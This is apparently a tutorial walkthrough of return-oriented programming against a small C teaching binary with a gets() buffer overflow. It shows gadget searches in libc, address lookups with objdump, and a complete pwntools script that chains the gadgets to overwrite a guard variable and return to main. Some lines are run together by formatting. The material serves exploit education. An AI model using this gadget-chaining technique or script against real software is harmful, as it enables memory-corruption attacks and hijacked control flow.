Return-Oriented Programming

💡
Constructing a chain of gadgets to overwrite the content of a variable.

#include <stdio.h>
#include <stdlib.h>int guard = 0xcabba6e5;void readstuff(void) {
char data[20];
gets(data);
}int main(void) {
readstuff();if(guard == 0xb000000f) {
printf("Win :)\n");
} else {
printf("N00b :(\n");
}return 0;
}

Goal: changing the content of guard to 0xb000000f .

Planning a chain of gadgets

Now we need to construct a chain of gadgets (found either in the binary itself or in the loaded libraries) that:

register1 := 0xb000000f ("register1" is just a placeholder)
register2 := address of guard
$register2 := register1
then reset values of modified registers so that program behaves as expected
return to main()

We are searching for a gadget that enables us to write the content of a register into the address pointed by another register, like mov dword ptr [<reg2>], <reg1> .

We find:

marco@testbed:~/2020/rop$ grep -E 'mov dword ptr \[e.x\], e.x' libcgadgets.txt
...
0x00075425 : mov dword ptr [edx], eax ; ret //edx (pointer) <- eax (content)

Now we know that eax will be reg1 and edx will be reg2 in our final chain.

We will use pop gadgets to implement this:

0x00024b5e : pop eax ; ret //esp (pointer) <- eax (content)
0x00001aae : pop edx ; ret //esp (pointer) <- edx (content)

Finding Memory Addresses

address of guard0x0804a020

address of readstuff0x08048456

address of main0x804849d

We take a closer look at the assembly code:

marco@testbed:~/2020/rop$ objdump -M intel -d ropmew | grep -C2 readstuff
8048454:       eb 8a                   jmp    80483e0 <register_tm_clones>08048456 <readstuff>:
8048456:       push   ebp
8048457:       mov    ebp,esp
--
804848d:       call   8048390 <__x86.get_pc_thunk.bx>
8048492:       add    ebx,0x1b6e
8048498:       call   8048456 <readstuff>
804849d:       mov    eax,DWORD PTR [ebx+0x20]
80484a3:       cmp    eax,0xb000000f 
...
int main(void) {
readstuff();
if(guard == 0xb000000f) {
...

We see that main expects to fetch the content of the guard variable from ebx+0x20 .

The value of ebx should stay unchanged after our attack, so we must reset its value to the original one.

The value of ebx can be set to the location of the guard - 0x20 (so that $ebx+0x20 is once again the address of guard ).

We do this with a pop gadget:

0x00018be5 : pop ebx ; ret //esp (pointer) <- ebx (content) 

Putting it all together

What we initially wanted:

register1 := 0xb000000f ("register1" is just a placeholder)
register2 := address of guard
$register2 := register1then reset values of modified registers so that program behaves as expected
return to main()

How we adapted it to the libraries:

eax := 0xb000000f
edx := 0x0804a020 (address of 0xb000000f)
$edx := eaxthen reset values of modified registers so that program behaves as expected
0x804849d - return to main()

Our gadget chain:

We over-write the return address with 32 x 'A's and then add a chain of library instructions that all end with ret .

pop_eax (will replace ret)
0xb000000f
pop_edx
0x0804a020 (address of 0xb000000f)
mov_ptr_edx_eax//restore everything to its previous state
pop_ebx
0x0804a020 - 0x20
0x804849d (return into main)

#!/usr/bin/python3
import sys
from pwn import *def main():
libc_offset = 0xf7de9000
orig_saved_eip = p32(0x0804849d)
padding = b'A'*32# values
bof = p32(0xb000000f)# var
addr_guard = p32(0x0804a020)# gadgets
pop_eax = p32(libc_offset + 0x00024b5e)
pop_edx = p32(libc_offset + 0x00001aae)
mov_ptr_edx_eax = p32(libc_offset + 0x00075425)
pop_ebx = p32(libc_offset + 0x00018be5)payload = padding + pop_eax + bof + pop_edx + addr_guard + mov_ptr_edx_eax + \
pop_ebx + p32(0x0804a020 - 0x20) + orig_saved_eipp = process(sys.argv[1])
p.sendline(payload)
p.interactive()if __name__ == '__main__':
main()